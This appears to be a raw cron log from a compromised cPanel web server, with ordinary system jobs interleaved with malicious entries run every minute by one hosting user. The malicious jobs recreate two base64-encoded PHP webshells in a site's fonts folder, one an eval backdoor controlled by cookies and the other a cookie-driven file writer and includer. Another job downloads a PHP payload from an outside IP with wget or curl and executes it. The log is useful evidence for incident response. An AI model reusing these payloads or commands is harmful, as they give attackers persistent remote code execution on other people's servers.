Sep 22 08:53:01 ip-184-168-122-23 CROND[31529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:53:01 ip-184-168-122-23 CROND[31530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:53:01 ip-184-168-122-23 CROND[31531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:53:01 ip-184-168-122-23 CROND[31533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:54:01 ip-184-168-122-23 CROND[31732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:54:02 ip-184-168-122-23 CROND[31735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:54:02 ip-184-168-122-23 CROND[31736]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:54:02 ip-184-168-122-23 CROND[31739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:54:02 ip-184-168-122-23 CROND[31737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:55:01 ip-184-168-122-23 CROND[31873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:55:01 ip-184-168-122-23 CROND[31874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:55:01 ip-184-168-122-23 CROND[31876]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 08:55:01 ip-184-168-122-23 CROND[31877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:55:01 ip-184-168-122-23 CROND[31881]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 08:55:01 ip-184-168-122-23 CROND[31883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:56:01 ip-184-168-122-23 CROND[32033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:56:01 ip-184-168-122-23 CROND[32032]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:56:01 ip-184-168-122-23 CROND[32034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:56:01 ip-184-168-122-23 CROND[32031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:56:01 ip-184-168-122-23 CROND[32045]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:57:01 ip-184-168-122-23 CROND[32159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:57:01 ip-184-168-122-23 CROND[32161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:57:01 ip-184-168-122-23 CROND[32162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:57:01 ip-184-168-122-23 CROND[32163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:58:01 ip-184-168-122-23 CROND[32324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:58:01 ip-184-168-122-23 CROND[32325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:58:01 ip-184-168-122-23 CROND[32328]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:58:01 ip-184-168-122-23 CROND[32327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:58:01 ip-184-168-122-23 CROND[32330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:59:02 ip-184-168-122-23 CROND[32481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:59:02 ip-184-168-122-23 CROND[32484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:59:02 ip-184-168-122-23 CROND[32486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:59:02 ip-184-168-122-23 CROND[32489]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:00:01 ip-184-168-122-23 CROND[583]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:00:01 ip-184-168-122-23 CROND[585]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 09:00:01 ip-184-168-122-23 CROND[590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:00:01 ip-184-168-122-23 CROND[591]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 09:00:01 ip-184-168-122-23 CROND[592]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep 22 09:00:01 ip-184-168-122-23 CROND[593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:00:01 ip-184-168-122-23 CROND[586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:00:01 ip-184-168-122-23 CROND[588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:00:01 ip-184-168-122-23 CROND[589]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 09:01:01 ip-184-168-122-23 CROND[810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:01:01 ip-184-168-122-23 CROND[811]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 09:01:01 ip-184-168-122-23 CROND[813]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 09:01:01 ip-184-168-122-23 CROND[814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:01:01 ip-184-168-122-23 CROND[819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:01:01 ip-184-168-122-23 CROND[821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[811]: starting 0anacron
Sep 22 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[831]: finished 0anacron
Sep 22 09:02:01 ip-184-168-122-23 CROND[1439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:02:01 ip-184-168-122-23 CROND[1441]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:02:01 ip-184-168-122-23 CROND[1440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:02:01 ip-184-168-122-23 CROND[1445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:02:01 ip-184-168-122-23 CROND[1447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:03:01 ip-184-168-122-23 CROND[2222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:03:01 ip-184-168-122-23 CROND[2223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:03:01 ip-184-168-122-23 CROND[2227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:03:01 ip-184-168-122-23 CROND[2226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:04:01 ip-184-168-122-23 CROND[2888]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:04:01 ip-184-168-122-23 CROND[2889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:04:01 ip-184-168-122-23 CROND[2891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:04:01 ip-184-168-122-23 CROND[2892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:04:01 ip-184-168-122-23 CROND[2895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
